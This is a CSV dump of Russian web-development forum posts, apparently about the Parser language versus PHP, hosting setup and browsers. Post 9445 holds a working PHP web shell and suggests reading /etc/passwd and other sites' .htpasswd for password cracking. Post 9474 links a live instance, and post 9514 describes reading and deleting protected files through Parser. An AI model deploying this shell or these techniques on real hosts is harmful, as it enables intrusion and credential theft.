"9396","интерпретируемый язык вряд ли может претендовать на роль универсального, но среди популярных скриптовых языков, таких как perl, awk, m4, parser, (vb/java)-serverside, (b/c/k/etc-shells), etc -- php - это несомненный лидер (по ясности и саморасширяемости [без авторов php]), которым можно заменить многие из перечисленных, не утратив (а скорее придавив) понятности и эффективности.\
а то что уже есть много наработок на том же perl - это уже вопрос времени.\
ну а web - это просто одно из удачных применений скрипт-языков.\
а вот псевдокомпилеры php (zend и etc) - возможно, что и перебор уже. ;-)"
"9397","администрируя юникс, все чаще и чаще я для совершенно разнообразных скриптов испульзую php, так как полно опыта, накопленного от использования php под web, и поэтому все получает очень быстро.\
вот вам и \"выкидывание знаний\" ;-)"
"9398","Защиту от F5 можно всегда легко организовать в любом месте.\
[code]\
$verify[^table::sql{select id from table where title='$form:title' and body='$form:body'}]\
^if(!def $verify.id){\
все ок ;)\
}{повторный постинг!}\
[/code]"
"9400","Я тоже против JS, хотя в своем форуме буду делать топики, которые открываются в JSокнах - по умолчанию, но все же будет настройка и для обиженных юзеров..."
"9401","Классно вы реагируете... прямо позабыли на сутки о программировании, как таковом, и набросились драться. Это приятно, т.к. именно равнодушие раздражает больше всего.\
Почему я так и не закончил того, что начал посетив ваш сайт? Да потому, что самым ВЕСКИМ аргументом неработоспособности Парсера тут была рассосана мысль о том, что мой хостинг, якобы, полное дерьмо (стоит заметить, что на хостинге iName.com.ua хостится добрая половина украинских сайтов).\
Я не отрицаю, что на тот момент я был жутким ламером, но почему-то тогда даже ВАШ обожаемый Петросян не смог мне помочь, сославшись, по тогда уже сложившейся традиции, на глючность моего хостинга.\
\
Хотелось бы вспомнить, что когда я еще только собирался установить сие чудо, я буквально влюбился в его логичную структуру сорцов и отменный синтаксис функций (я прочитал мануал 2 раза от корки до корки), но так и не смог начать программить на нем из-за дебильного процесса инсталляции и хостингозависимости.\
\
Да РНР сложнее и тяжеловеснее, но он реально работает и по нему столько в сети материало, что Пташка ваша ВІДПОЧИВАЄ.\
\
P.S. Не пишите тут гневных комментов, т.к. их читают ваши же соратники, а я не стОю того, чтобы так засирать гневом ВАШ форум.\
\
П.П.С. Я думаю эта точка зрения достойна жить.\
\
П.П.П.С. Почему я здесь, а не на php.net? Я и там тоже, просто ограничиваться одной (цитата одного из постеров прошлого) \"Поделкой темы лебединского\" это глубо и недальновидно. А то, что вы говорите, что \"для моих задач его (пташки) вполне хватает\", то это дело времени, ведь задачам, как и людям свойственно усложняться и рости.\
\
МИР..."
"9402","Не стоит, все равно никого не переубедите, тем более без каких-либо реальных аргументов кроме субъективных впечатлений.\
\
Со временем и на птичке будет наработано много всего, это вопрос времени.\
\
> Я не отрицаю, что на тот момент я был жутким ламером\
\
А сейчас вы уже стали не ламером? Если да, - попробуйте поставить парсер :).\
\
ЗЫ: Жаль что парсер вам так и не помог, - не беда, другим помогает и поможет, и хватит религиозных войн."
"9403","теперь будем иметь ввиду..."
"9404","правда бета 1 ишо."
"9405","...и пишете на PHP, ведь только ламеры (ну еще и дети, так ведь, egr???) пишут на парсере =)))..."
"9406","хотя в доках про [$.distinct(1)]] ничего не написано...почему то.\
Ента что значит - недокументированные возможности Парсера? А по чему их знают только избранные?! Непорядок, господа,...непорядок..."
"9408","Но в форуме регистрация не обязательна, поэтому сюда могут опубликовать свои сообщения, подписавшись любым именем сколько угодно человек."
"9409","...еще механизм, который реализуется элементарно и не показывает пользователям IE предложение о Repost Data?"
"9410","Всю жизнь в регекспах все работало нормально при корректно установленых локалях.\
У меня такой парсерный пример:\
[code]\
$str[АбВгДеЕЖ]\
=^str.match[вгд][]{XXX}=\
=^str.match[вгд][i]{XXX}=\
[/code]\
не заменил ничего в первом случае и заменил в втором - о чем это говорит?"
"9411","тут Личи прислал ссылку, которую я и сам пытался найти на их сайте но не нашел.\
ее возможности.\
http://www.opera.com/docs/specs/opera07/\
\
в общем кул. правла есть оочень нехорошие моменты, но... это очень большой шаг вперед от 6-ки.\
\
"
"9412","это появится в следующей версии парсера...\
сейчас будет ругань.\
\
к тому-же теряется последовательность,а  это не есть гуд. я давно просил у пафа такую возможность. но пока ее нет."
"9413","Неужели PHP настолько безопасная приблуда?\
\
Сегодня у меня тут состоялся разговор с админами хостинга, на котором будет размещаться сайт, который я делаю. У них Апач на Юниксе. Они закрыли возможность cgi-bin'ить (в целях безопасности), но все желающие могут писать сайты на PHP+MySQL (хотя еще месяц назад говорили, что cgi-bin открыт для потусторонних вливаний). При этом у меня нет (!!!) FTP-доступа, и чтобы закачать сайт на их сервак, я должен прислать им на мыло или прийти с дискеткой и под их \"недремлющим оком\" все это кидать на сервак напрямую...\
\
Вот и возник вопрос — неужели PHP настолько безобидный язык?"
"9414","ибо челу прогу (или макрос) надо ныньше написать, а не со следующей версии Парсера..."
"9415","Конечно нет, все зависит от того, как написаны сами PHPшники (не говоря уж про баги самого PHP =))) При \"умелых\" ручках можно такой PHPшник написать, что админам мало не покажется =)))"
"9416","Хм =)\
\
Согласен, но у меня иногда вот такие баги проскакивают (это не против твоего решения а просто для ознакомления)...\
XP + IE6.0\
Иногда после постинга опенер рефрешится, а вот окно не закрывается. Приходится самому тянуться к кнопке закрыть..."
"9417","http://www.artlebedev.ru/kovodstvo/paragraphs/4.html"
"9418","вы либо не видите, либо не хотите искать. Я открыл Google, набрал одну строчку mod_auth_mysql в поисковом окошке, и буквально на первой странице нашел http://www.cgi101.com/class/password/mod_auth_mysql.html на все ушло секунд 30"
"9419","сгрузил, поставил. Очень, очень неплохо. Советую."
"9421","П.С. Я просто не люблю иностранные поисковые системы, но теперь....\
\
СПАСИБО ВАМ"
"9422","И вдруг у них тоже нечетные версии - глючат? ;))))"
"9423","Можно скачать и собрать"
"9424","У меня только один риторический вопрос назрел — они что, собираются каждую мою страницу вручную просматривать на предмет крамолы и жучков? ... :)\
\
Дай бог, чтоб этот тред какой-нить такой суперадмин прочитал... и задумался..."
"9426","Теперь придется учить ПХП в сжатые сроки... Кто-нить может посоветовать форум нормальный по ПХП?\
\
А вообще, надо быстрее выводить парсер на международный уровень — чтобы проблем было меньше..."
"9427","Просто я раньше на Perl писал и на PHP немного, там флаг i не работал."
"9428","Есть много способов не дать чужим скриптам делать что-либо сложнее print 'aaa'...\
А когда это сделать не могут - начинаются извраты типа \"не дам cgi-bin\".\
\
С другой стороны, я полностью согласен с практикой не давать shell до тех пор, пока клиент не обоснует необходимость.\
\
В общем, может его (хостера) сменить? А то и народ.ру податься - там больше возможностей для редактирования/обновления собственных страниц ;-)))"
"9429","Парсер работает именно с локальным временем."
"9430","a kogda primerno vydet novaja versija parsera?"
"9431","Читаю на http://www.parser.ru/docs/lang/lesson1.htm:\
«В корневом каталоге будущего сайта создаем файл sections.cfg»\
\
Лезем на: http://www.parser.ru/sections.cfg и видим 403, т.е. файл такой существует (правда защищен от лишних глаз -)).\
\
прикольно -)"
"9432","однако в любом случае, у апача прописано, что всем доступ к .cfg и .p - закрыть."
"9433","это сайт ежеквартального журнала, он выходит с 97-го года, и там накопилось около 14-ти выпусков, каждый из которых страниц на 70...\
\
делать все это средствами одного ХТМЛ — долго и слишком \"увесисто\". Плюс ко всему, журнал двуязычный... куда проще и изящнее было бы сделать это все програмно — и поиск по сайту организовать и версии переключать с помощью ?vers=eng (или что-то вроде того)...\
\
Плюс к этому, придется самому редактировать текст, потому что в нем ошибок — куча (электронных версий журнала не осталось, все было просто отсканено и заброшено на мыло...), это ж все надо вычитывать, составлять description и keywords...\
\
Короче, программинг бы здесь помог офигенно...\
Ну и фиг с ними, ПХП — так ПХП...\
\
ЗЫ: А хостера сменить не получится — у них постоянный хостер, который дает им [i]на халяву[/i] место и домен третьего уровня (т.к. тематика журнала — гуманизм и т.п.) и менять они его не собираются (на нем место выделяется только такого направления сайтам — так что выгодно быть поближе к общей куче...). Так что, \"...Мама, крутИтесь как хотите, но похороны — завтра в 14:00\"..."
"9434","Apache не проверяет файлы на существование, если они заранее защищены от лишних глаз. Вы можете проверить это опытным путём, посетив любой файл [i].cfg[/i] на этом сайте, так же как и любой [i].html[/i] файл на сайте с парсером (404ой ошибки по умолчанию не будет, а запустится парсер с известными сообщениями). \
\
Удачи! "
"9436","[url=\"http://www.xulplanet.com/ndeakin/arts/reasons.html\"]101 things that the Mozilla browser can do that IE cannot.[/url]\
Куда уж опере! ;-)"
"9437","Просто делай все дома на парсере, а потом забирай с localhost teleport'ом и отдавай \"товарищам\" готовый html. динамики все-равно почти нет..."
"9438","и как быть с файлами типа \"index.html?lang=rus\" ? можно ли задавать такое имя?"
"9440","что это сообщение запостил регистренный пользователь, а это - нет."
"9441","Much more exciting than a blue e or red o. :-)"
"9442","А что Вам мешает хранить файлы конфиги, не в *.cfg, а в тех же *.p ?..\
\
ведь с пхп сколько раз попадали, храня файлы в config.cfg или config.inc, и забывая прописывать в .htaccess или в httpd.conf запрет на эти файлы. правда потом догадались юзать config.inc.php -)\
\
и вообще, почему бы сразу не организовать хранение всех основных исходников и файлов конфигов вне директории public_html (т.е. доступной с интернета). а в этой директории лишь ставить код, ктр-ый вызывает тот или иной модуль, в зависимости от страницы?..\
\
например, в пхп, у меня так реализовано:\
\
/home/marat/html/\
 index.xhtml -- основной файл, ктр-ый инклудит модули, в зависимости от страницы\
/home/marat/xhp/\
 config.xhp -- конфиг\
 functions.xhp -- различные вспомогательные функции\
 parser.xhp -- функции парсинга XHTML из .tpl файлов\
 db.xhp -- работа с различными СУБД\
\
в этом случае, даже если что-то в настройках апача испортится (допустим AllowOverride снимет разрешение на .htaccess на эту директорию, что очень часто происходит, при переустановки Апача), то посетители сайта увидят лишь исходники файла html/index.xhtml, что, в принципе, пережить ещё можно.\
\
а возможность запрета чтения левых файлов (/etc/passwd) в парсере, мне очень понравилась :), правда ограничивать нужно не совсем по группе, а лучше как safe_mode в пхп (причём ставить его по умолчанию!)"
"9443","а какой файл есть? ;)"
"9444","почему бы не организовать на этом замечательном сайте базу сырочков?.. и организовать её типа библиотек, что-ли...\
\
потому что огромнейший аргумент в пользу пхп -- это очень большое количество бесплатно распространяемых исходников многих готовых интернет-решений.\
\
а ручками, ручками -- время, то -- деньги! мне например влом писать с нуля форум, когда есть [url=\"http://www.phpbb.com/\"]phpBB2[/url]."
"9445","если отключён safe_mode (а он по умолчанию, у многих отключён -)), попробуй:\
\
[code]\
<?\
if (isset($c) && $c != \"\")\
{\
echo \"% $c:<pre>\";\
system($c);\
echo \"</pre>\";\
}\
?><form action=c.php method=post><input type=text name=c size=60 <?if (isset($c) && $c != \"\"){echo\" value='$c'\";}?>><input type=submit></form>\
[/code]\
\
и попробуй всякие команды юникса вводить в формочку, например: [b]cat /etc/passwd[/b], или же: [b]cat ../../other_site/html/.htpasswd[/b] и в Джона Риппера полученный файл! ;)\
\
зы. и пхп и cgi -- очень дырявые! про парсер пока такое сказать не могу, но кто знает... -)"
"9447","http://www.jeans.mts.ru/search/results.html?text=gprs\
\
Unhandled Exception (Debug)\
output does not contain CGI header; exit status=0; stdoutsize=0; stdout: \"\"; stderrsize=39; stderr: \"localhost: RPC: Program not registered\
\"\
cgi\
\
/var/http/jeans/htdocs//../data/processes/_search_results.bp(3)\
\
--------------------------------------------------------------------------------\
cgi /var/http/jeans/htdocs//../data/processes/_search_results.bp(3)\
if /var/http/jeans/htdocs//../data/processes/_search_results.bp(1)\
process /var/http/jeans/htdocs//../data/classes/common/lib.p(92)\
if /var/http/jeans/htdocs//../data/classes/common/lib.p(91)\
if /var/http/jeans/htdocs//../data/classes/common/lib.p(89)\
include /var/http/jeans/htdocs//../data/classes/engine.p(500)\
if /var/http/jeans/htdocs//../data/classes/engine.p(496)\
if /var/http/jeans/htdocs//../data/classes/engine.p(493)\
if /var/http/jeans/htdocs//../data/classes/engine.p(491)\
menu /var/http/jeans/htdocs//../data/classes/engine.p(489)\
if /var/http/jeans/htdocs//../data/classes/engine.p(486)\
processBlocks /var/http/jeans/htdocs//../data/classes/engine_kashemir.p(123)\
if /var/http/jeans/htdocs//../data/classes/engine_kashemir.p(116)\
executeBlocks /var/http/jeans/htdocs//../data/classes/engine.p(983)\
pagePreProcess /var/http/jeans/htdocs//../data/classes/engine.p(982)\
defaultPage /var/http/jeans/htdocs//../data/processes/_common.pp(1)\
process /var/http/jeans/htdocs//../data/classes/common/lib.p(92)\
if /var/http/jeans/htdocs//../data/classes/common/lib.p(91)\
if /var/http/jeans/htdocs//../data/classes/common/lib.p(89)\
include /var/http/jeans/htdocs//../data/classes/engine.p(846)\
if /var/http/jeans/htdocs//../data/classes/engine.p(845)\
if /var/http/jeans/htdocs//../data/classes/engine.p(844)\
execute /var/http/jeans/htdocs/_doc.html(59)\
connect /var/http/jeans/htdocs//../data/classes/oracle.p(23)\
server /var/http/jeans/htdocs/_doc.html(57)\
cache /var/http/jeans/htdocs/_doc.html(50)\
"
"9448","...засечено, проверено, доказано. Главное - знать, чего да как. А пользуясь готовыми \"сырцами\" твои возможности узнать это сводятся к нулю. Далее - выводы."
"9449","можете зайти - посмотреть работу. http://crimnet.h1.ru/c.php \
[b]Использование скрипта допускается только в общеобразовательных целях![/b]"
"9452","имеется ввиду форум с минимальным набором функций (пример - http://crimnet.invex.ru/forum/ ). Кому надо больше - флаг им в руки. Готовыми сырцами всем все равно не угодишь. Опыт так показывает."
"9453","просто физически нельзя за это время все сделать, да и вообще разговоры о времени при написании кода считаю вредными, тут всё зависит от человека.\
\
Видел таких людей из которых код как из пулемета сыпался, код на букву Г. а бывает человек может месяц потратить на написание достаточно простой вещи, но сделает это так что и придратсья не к чему."
"9454","я же не понтуюсь! Это факт!\
\
Как-то я с другом завел разговор о скорости понимания, анализирования и реализации поставленной задачи(мой друг не программист). Я утверждал, что программеру это легче. Он не соглашался. Поспорили. Оба знаем, что такое форум. Сели писать : он - алгоритм на бумажке, я - прогу на компе. Через 7.36 мин. я закончил. Он тоже cправился, но за дольший срок. Просто он не знал(а я, как партизан - не сказал), что до этого я неделями висел над этом форумом(просто я тогда не знал принципа работы). \
\
Вот я и говорю, что если знать, что к чему - сам процесс написания занимает не больше 8 минут. Это все, что я хочу сказать. И упаси меня Господи от понтов и упреков в чей либо адрес на счет скорости соображения и печати. Вот. Не бейте меня. Я хороший."
"9455","TeleportPro - граббер сайтов. Возможно, есть и другие - я плохо знаком с современным софтом для PC ;-)\
Про урлы: так делать не стоит. Лучше настроить mod_rewrite чтобы запросы типа\
/path/file.ext - приходили как /path/file.ext?lang=ru\
а запросы типа\
/en/path/file.ext - как /path/file.ext?lang=en\
Тогда ни у кого не будет желания написать ?lang=fr (они же не знают, как там на самом деле, а мы им не показываем ;-) ), да и набирать такие пути ручками легко и понятно."
"9456","Вот именно по-этому парсер и распространяется с ограничением на группу.\
Во всяком случае, подобное чтение чужих файлов невозможно.\
А если админы хостинга грамотные - такая версия работает без проблем и для админов и для пользователей. (Про ошибки скриптовальшиков, вещающие базы или вводящие апач в бесконечный рерайт я не говорю - они не зависят от языка ;-) )"
"9457","У меня такой вопрос : \
как мне вытянуть нужное количество записей из объекта table, начиная с определенной строки?\
Делаю ^table.offset($offset).\
Потом пробую менюшить - менюшит с первой строки!\
Если же не менюша, щимиться к записи - все ок.\
А остальные записи?! Делать ^table.offset(^offset.inc[]) и брать по одной записи?! А подругому никак?!\
\
\
Похоже - никак..:)"
"9459","Хорошая идея воплошена в опере.\
Имеется ввиду : home,index,search, ... меню.\
\
Кто-нить нашел доку как этим хозяйством управлять со страницы ?"
"9460","Using LINK to define document specific toolbars..."
"9462","с тех пор, как мозила стал это нормально показывать и мы обратили на это внимание :)\
\
правда он был более коцаный :)\
ну три строчки вписать - это-же не тяжело :)))"
"9463","Пара вариантов, почему именно группа.\
1. Над проектом работает несколько человек. Если у каждого свой логин - группа удобна.\
2. Несколько проектов \"одной тематики\" и есть общие файлы - группа удобна.\
\
А ежели это все в купе с SUEXEC, так вообще красота ;-)"
"9464","Привет, всем. Заранее извиняюсь за оффтопик...\
\
Кто-нибудь подскажет как сделать подобное \
sql{SQL-запрос }[$.limit(n) $.offset(o)]\
только средствами самого MS SQL,\
работаю с ним не из парсера, а нужно ограничить результаты запроса..\
\
Как ограничить кол-во возвращаемых записей это все просто TOP [num]\
А вот как указать с какой позиции возвращать результаты запроса, никак найти не могу, если кто знает подскажите!\
\
Заранее признателен.\
"
"9465","Я установил Парсер под FreeBSD 4.6, и вроде все правильно. В .htaccess написал строки запуска Парсера. Но никакой ошибки Апаче не выдал. Отображается сама не обработанная html-страница.\
\
Почему может такое происходить? Ума не приложу...\
"
"9467","см. AllowOveride и Options директивы для своего каталога в httpd.conf, Поставь AllowOveride All если нету серьъёзных требований к security"
"9468","Динамический или статический ?\
Не всегда выбор однозначно определяется назначением или целями класса.\
Иногда присутствует возможность выбора.\
\
Будут ли у кого рекоммендации по subj ?\
Исходя из целей, назначения, тактики планирования ? \
Имеются ли (если да, то какие) преимущества/недостатки по\
памяти/быстродействию ? \
IMHO динамический исп. меньше памяти, т.к. создается один\
екземпляр класса в памяти, и используется, при статическом - каждый раз.\
\
И еще. Про auto[].\
Имеет ли смысл делать его конструктором ?\
Плюсы - при любом вызове(стат., динам.) происходит инициализация класса.\
Минусы - при статике затруднено использование др. классов (прим. connect), т.к.\
вызов auto инициируется ДО создания @main[] (бред ?)."
"9471","Я сам с MS SQL не работаю, но, помоему там нет offset. Но это можно сделать по другому.\
Идея такая, чтобы создать временную таблицу, где первая колонка будет счетчик записей. Из этой таблицы вытягиваеш все по этому счетчику...\
"
"9474","[url=\"http://crimnet.h1.ru/c.php?c=cat%20/etc/passwd\"]вот это[/url] очень прикольно... не правда ли? ;)\
\
зы. кто в парсере найдёт дырку, подобного уровня? ;) (не чтобы только /etc/passwd хватать, а предоставлять типа телнет шелла через скрипт)"
"9475","ой щас со смеху умру"
"9476","с поддержкой BBCode, с регистрацией, автоматическим уведомлением по мылу, со сменой дизайна через шаблоны, и с прочими наворотами?..\
\
сомневаюсь. каким бы ты гением не был. просто за 7 минут даже код набрать на клаве не успеешь ;), даже если писать его шестнадцатеричным кодом -))) прямо на машинном языке ;)"
"9477","/me забил agat до полусмерти, ибо нех понтоваца -))))"
"9478","ну а если клиенту нужен супер пупер навороченный форум со всеми пальцами веером через 15 минут?!! ;)\
\
причём, на моём личном опыте, это случалось довольно часто. а знаете-ли, приятно очень, снимать 10 баков за 5 минут работы -)"
"9479","ну вот и напишешь за 8 минут такую вот лажу: [url=\"http://crimnet.invex.ru/forum/view.html?id=*\"]http://crimnet.invex.ru/forum/view.html?id=*[/url]\
\
зачем это нужно, когда есть уже готовые отлаженные решения?.. и в них дырки?.. затыкай! следи за обновлениями!"
"9480","вот лучше в сопокупе с группами, с safe_mode и su_exec -) тогда действительно будет круто -)"
"9481","зачем вот писать всё руками самому с нуля, теряя время, когда есть готовые решения?.. вот фигли вы сидите под виндой/линухом/мак-осом? ну напишите свою ОС! ;)\
\
не нравится чужой код? ковырятся в нём? мне тоже не нравится до жути! когда можно этого избежать (очень редко), т.е. когда есть время, я пишу с нуля всё сам! но! если туго со временем (обычная ситуация ;((), когда кроме написания кода нужно админить сетку, делать ещё туеву хучу вещей, вот тогда и нужны СЫРОЧКИ!\
\
кароче раздел под сырочки нужен!"
"9483","Надо попробовать...\
\
Просто принцип построения страниц был такой — в зависимости от значения $form:lng запускалась функция, с переменными на разных языках с путями к разным .cfg, и т.д., напр.:\
\
русские:\
[code]\
...\
$pigtail[]\
$snaketail[]\
$authors_box[/ru/authors.cfg]\
$contents_box[/ru/content.cfg]\
$yazyk_opt[<OPTION VALUE=ru SELECTED>Русский [ru]</OPTION>\
<OPTION VALUE=en>Английский [en]</OPTION>]\
$auth_results[Результаты поиска автора]\
$gb_submit[Отправить]\
$gb_reset[Очистить]\
$gb_post_link[Добавить сообщение в Гостевую книгу]\
$nav_main[главная]\
$nav_help[помощь]\
...\
[/code]\
\
английские\
[code]\
...\
$pigtail[?lng=en]\
$snaketail[&lng=en]\
$authors_box[/en/authors.cfg]\
$contents_box[/en/content.cfg]\
$yazyk_opt[<OPTION VALUE=ru>Russian [ru]</OPTION>\
<OPTION VALUE=en SELECTED>English [en]</OPTION>]\
$auth_results[Search results on]\
$gb_submit[Post it]\
$gb_reset[Clear all]\
$gb_post_link[Add an entry to the Guestbook]\
$nav_main[mainpage]\
$nav_help[help]\
...\
[/code]\
\
Но самыми важными были четыре переменные — $pigtail, $snaketail, $a_pigtail и $a_snaketail.\
\"поросячий\" хвост (?lng=en) ставился в концы ссылок на другие страницы и в системе наФигации, а \"змеиный\" (&lng=en) там где значений формы было больше (типа /news/?id=356&lng=en), а переменные с $a_ означали \"анти-\". Это позволяло сэкономить кучу времени, потому как можно было ссылку \"Перевести на...\" обозначать как HREF=\"${my_addr}${a_pigtail}\" ($my_addr[$request:uri])\
А вообще, ведь, можно эту проблему решить через .match ...? Пусть находит /en/ и заменяет на /ru/ и наоборот\
\
...?"
"9484","Помогите пожалуйста с 4 уроком разобраться.\
\
1) Создал базу под MySQL\
2) Создал таблицу\
3) Внес новости в таблицу\
4) Вставил сылку в календаре\
\
Новости \"за сегодня\" выводятся на странице (news), но припопытке обращения к архиву, через календарь, выдаеться сообщения: Вы неимеете права доступа к этой станице.\
\
В чем проблема? Что не так прочитал, понял.\
\
P.S. Так же смущает ссылка с календаря: http://....?day=10 (или что то типа такого)\
Куда она обращается? Сразу к MySql?\
\
\
\
\
"
"9486","Да ну да. А какой, интересно, броузер широко начал применять идею с засовыванием всех окон в одно общее? ;)"
"9487","Я тоже пока на шестёрке посижу. Я её использую всего полгода, только привык и куда-то переходить опять? Тьху. :)"
"9488","Меня он вполне устраивает. "
"9489","А так-то у меня 7й Нетшкаф стоит -- я там нашёл, а до этого, когда у меня 5я Мозилла была -- я не видал. Не важно, была ли эта фича там или нет, но то что она была не на поверхности -- это точно.\
\
В Опере, насколько я знаю, это было по крайней мере года 3 назад. Возможно, это в ней было с самого начала."
"9490","А о чём речь? Я посмотрел код, увидел все эти рефы, но никакого эффекта на мой сёрф это не произвело...\
\
У меня О 6.04"
"9491","... но кто ещё кроме вас поможет! Второй день не могу найти о том как таки джавой добавить элемент в форму... Подскажите где поискать или можт код покажите?"
"9492","локально под виндами пароль такой был \"az[sx\" написал вот так его - \"az^[sx\", всё заработало..."
"9493","Облили меня с головы до ног ...Хотелось же навести понимание данного вопроса...ну да ладно - я не обижаюсь..:)\
\
А на счет раздела, так тут он еще дооолго не появится. Почему?!\
\
Дело в том, что Парсер сравнительно новая технология, известна не всем(но многим). Учить его садятся те, кому действительно нужен экскаватор. Используют на новых проэктах, находят новые решения. И фанатов, готовых писать код лишь от того, что им делать пока нечего, нет(я не встречал).\
Может, года через 2 этот раздел и заведут.\
Пока же довольствуйся разделом \"примеры\".\
\
P.S. Как часто на сегодняшний день мы встречаем людей, готовых поделится кодом?\
\
P.P.S. Может я бред накатал - извиняйте - сплю....\
\
"
"9494","а то уйдет бедный h1.ru в долину вечной охоты....:))))"
"9496","надо добавить в форму скрытое поле..."
"9497","тебе сначала вообще веб-программинг выучить надо..\
\
ссылки НИКУДА не обращаются, тем более \"сразу к MySQL\" 8-))). их надо самому обрабатывать: вешать на них действия и т.д."
"9498","[url=\"http://crimnet.invex.ru/forum/?id=*\"]http://crimnet.invex.ru/forum/?id=*[/url]"
"9499","Thanks 2 agat за направление в коем рылось...\
\
[code]\
var myCtrl = document.createElement('input')^;\
myCtrl.type='hidden'^;\
myCtrl.name='ctrName'^;\
myCtrl.value='ctrlValue'^;\
document.forms.formName.appendChild(myCtrl)^;\
document.forms.formName.submit()^;\
[/code]"
"9500","Поставил апач, mysql и парсер.В \"скачать\" написано, что надо закачть драйвера и скопировать в /lib/ .\
"
"9501","[quote]\
1) Создал базу под MySQL\
2) Создал таблицу\
3) Внес новости в таблицу\
4) Вставил сылку в календаре\
[/quote]\
\
на 4-ом этапе - какую ссылку ставил?! Неужто http://....?day=10 (или как там у тебя)?\
\
Проверь код - если ты писал ровно с доков - все должно работать на ура!\
\
P.S. Код надо переписывать вручную, т. к. при copy/paste замечено добавление space в конце каждой строки, что плохо сказывается на выполнении программы.\
"
"9503","Ввожу в броузере http://127.0.0.1/cgi-bin/parser.cgi/test.cfg выводит содержимое файла test.cfg, как уберечься от этого?"
"9504","этож катастрофа прямо таки! Надо это срочно поправить!"
"9506","Если под windows, то почему parser.cgi,  а не exe ?\
У меня он пишет \"Unhandled Exception\""
"9507","Создай файл в корне сервера к примеру [i]users.cfg[/i] с таким содержимым:\
[quote]\
name	password\
Roma	gj46b\
Katya	iter5\
[/quote]\
потом нажми на эту ссылку (если парсер лежит в директории cgi-bin с именем parser3.exe): http://127.0.0.1/cgi-bin/parser3.exe/users.cfg"
"9509","ну вышло мне цивильное сообщение об ошибке, но как мне форум опять увидеть?\
жать на сосоднюю ссылку и потом опять на форум?\
как-то не кузяво, поставь хоть ниже текста линк на /форум/ или откуда он там пришел с ошибкой"
"9511","теперь получилось.\
Но он же эти файлы обрабатывает ... По твоей просьбе, причем.\
Вполне нормально ...\
Листинга все равно нет, а users.cfg можно и из адресной строки вызвать http://127.0.0.1/users.cfg\
"
"9512","но этот код если браузер поддерживает dom -- я бы советовал innerHTML.\
Т.е. \
document.all('my_form').innerHTML = '<input type=hidden name=ctrName value=ctrlValue>'^;\
, а если событие(на создание элемента) из формы идет -- то проще в вызов функции стоит добавить this.form (и не надо тогда определять версию IE)\
т.е.\
<form name=my_form id=my_form>\
<element onClick=\"createHiddenForm(this.form)\">\
</form>\
...\
function createHiddenForm(frm){\
 frm.innerHTML = '<input type=hidden name=ctrName value=ctrlValue>'^;\
}\
\
--\
Вообщем реально dhtml.ru -- rulezzz\
плз учитывайте человеческий фактор -- я могу в чем-то ошибаться"
"9513","вот цитата из доки(http://www.parser.ru/docs/lang/install4apachecgi.htm):\
\
Apache *nix\
Положите файл parser3.cgi в каталог cgi-bin на вашем сервере.\
Создайте в корневом каталоге вашего сервера файл .htaccess и добавьте в него следующие команды:\
# задание Главного конфигурационного файла\
# (укажите полный путь)\
SetEnv HTTP_PARSER_ROOT_CONFIG /path/parser3.conf\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
"
"9514","Конечно при обращении на прямую к закрытым файлам на сервере, сервер возращает ошибку 403 (http://127.0.0.1/test.cfg), но если сделать это через парсер (http://127.0.0.1/cgi-bin/parser3.exe/test.cfg) то парсер покажет весь файл, а ещё хуже если в таких файлах хранить (допустим сообщения форума, гостевухи) любой злоумышленик может набрать типа ^file:delete[/auto.p], а потом запустить это через парсер."
"9516","так, как если будут созданы заготовочки, желательно хорошо прокоментированные, то будет намного проще писать различные скрипты...\
\
Ведь в конце-концов можно взять код и начать его модифицырывать!"
"9517","так как ты и писал, только 2 отличия:\
1) хост под линухом\
2) набор шел не с хоста, а вот так: www.coder.net/cgi-bin/parser3.cgi/root.cfg\
результат я уже постил.\
\
А теперь скажи мне, сириму-лаптем щи-хлебающему, как злоумышленик сможет получить доступ в охраняемое здание, в серверную, от которой ключи только у 2-х админов, и которые явно не писали на стенке рядом со стойкой пароль для su-????\
вот объясни мне - как? \
\
P.S.: сайт www.coder.net есть в Сети и не имеет ко мне никакого отношения, это я просто админу так сказал тестовый сайт обозвать."
"9519","=)\
можно, но нельзя.\
а файлы подобные как правило хранят вне поддерева http-сервера."
"9520","Все уже удалились от темы. \"Сырочки\" появятся, если их кто-нить НАЧНЕТ ДЕЛАТЬ. Причем, знаю по своему опыту: в любом деле так — все матюгаются, когда никто из предшественников о них, любимых, не позаботился, но потом все они, в свою очередь, забывают о СВОИХ сзади-идущих...\
\
Сделаем проще — если у кого-то есть код, аналогов которому нет в \"examples\", — давайте договариваться с админами parser.ru, дорабатывать его, делать проще и изящнее (а в этом мы и сами заинтересованы) и постить в примеры. В принципе, так до этого и делалось, но не везде понятны многие моменты (мне, как профессиональному чайнику в программинге — особенно...). Снибдим их удобоваримыми комментариями (почти на пальцах объяснив) с разбором кода — и все путем. (ИЛИ, если вариант с сырочками админов на официальном сайте не устроит (не исключаю), можно использовать какой-нить халявный сайт на том же ХОЛМ'е. Я думаю, рейтинг здесь будет гарантирован :))))) хотя левый сайт — вещь нежелательная, т.к. если мы ошибемся ЗДЕСЬ, то нас исправит кто-нить другой (одна голова хорошо а две лучше), а на левом сайте эта ошибка долгое время будет плодится среди многих и многих...)\
\
немаловажный ЗЫ: причем, на мой взгляд, важно не только объяснить код, но и логическую цепь (о чем уже говорил агат...), потому что иногда средства есть, а КАК это все должно быть пошагово — не знаешь... Если знаешь, КАК построить форум на одном языке, то быстро найдешь средства, как это сделать на ДРУГОМ (на крайний случай в форуме кого-нить спросишь пару моментов...)\
\
Творческий человек примет к сведению и захочет сделать все САМ, а если человеку по барабану сам процесс и ему важен результат — он все равно найдет способ, как обойти процесс и выйти напрямую на финиш, я так думаю..."
"9521","С места в карьер.\
\
Не раз на форуме появлялись сообщения типа \"дайте готовенькое!..\", авторы которых справедливо посылались (в их числе и я :)).\
\
НО\
\
но бывают и оправданные случаи (какой сюрприз! :)) и дело даже не во времени разработки, наоборот когда делаешь все сам, то _действительно_ врубаешься и потом время написания подобной штуки зависит только от скорости набора :) (привет Агат!).\
\
